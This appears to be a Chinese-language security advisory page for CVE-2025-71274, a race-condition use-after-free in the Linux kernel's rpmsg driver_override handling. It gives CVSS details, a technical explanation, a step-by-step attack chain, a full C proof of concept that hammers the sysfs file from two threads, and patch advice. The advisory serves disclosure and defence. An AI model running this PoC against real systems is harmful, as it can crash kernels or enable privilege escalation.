IPBUF安全漏洞报告
English
CVE-2025-71274 CVSS 4.7 中危

CVE-2025-71274 Linux内核rpmsg竞态条件漏洞

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2025-71274
漏洞类型
竞态条件
CVSS评分
4.7 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux Kernel竞态条件释放后重用DoSCVE-2025-71274

漏洞概述

Linux内核的rpmsg核心组件存在一个竞态条件漏洞。该漏洞源于driver_override_show函数在读取driver_override字符串时未持有设备锁,而store函数在持有锁的情况下修改并释放该字符串。这种并发处理不当导致字符串在读取过程中可能被释放,从而引发释放后重用漏洞。

技术细节

该漏洞发生在Linux内核的rpmsg驱动核心模块中。具体原因为driver_override属性的get(show)和set(store)操作存在同步缺陷。driver_override_show函数在读取字符串时没有获取device_lock,而driver_override_store函数在修改和释放内存时持有该锁。在多核或多线程环境下,如果用户空间程序同时触发读写操作,store函数可能释放show函数正在读取的内存块,导致内核访问已释放的内存(Use-After-Free)。这可能导致内核崩溃(拒绝服务)或在特定条件下导致权限提升。修复代码通过移除rpmsg_string_attr宏,引入显式的show/store函数,并使用标准的driver_set_override辅助函数来确保锁的正确持有。

攻击链分析

STEP 1
步骤1
攻击者获取本地低权限访问权限 (PR:L)。
STEP 2
步骤2
攻击者识别系统中存在的rpmsg设备及其对应的sysfs接口路径。
STEP 3
步骤3
攻击者运行恶意程序,创建两个并发线程。
STEP 4
步骤4
一个线程不断向driver_override属性写入数据(触发store函数)。
STEP 5
步骤5
另一个线程不断读取driver_override属性(触发show函数)。
STEP 6
步骤6
触发竞态条件,导致-use-after-free,造成内核崩溃或潜在的代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2025-71274 * Trigger race condition in rpmsg driver_override * Compile: gcc -o poc cve-2025-71274.c -lpthread */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <unistd.h> #include <fcntl.h> // Replace with actual rpmsg device path on target system #define SYSFS_PATH "/sys/bus/rpmsg/devices/rpmsg0/driver_override" void *thread_write(void *arg) { char *data = "dummy_driver"; int fd; while (1) { fd = open(SYSFS_PATH, O_WRONLY); if (fd > 0) { write(fd, data, strlen(data)); close(fd); } } return NULL; } void *thread_read(void *arg) { char buf[256]; int fd; while (1) { fd = open(SYSFS_PATH, O_RDONLY); if (fd > 0) { read(fd, buf, sizeof(buf)); close(fd); } } return NULL; } int main() { pthread_t t1, t2; printf("Starting PoC for CVE-2025-71274...\n"); pthread_create(&t1, NULL, thread_write, NULL); pthread_create(&t2, NULL, thread_read, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; }

影响范围

Linux Kernel (包含受影响commit之前的版本)

防御指南

临时缓解措施
建议立即应用Linux内核官方提供的补丁。如果无法立即升级,可通过限制本地用户权限或禁用相关rpmsg设备作为临时缓解措施。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表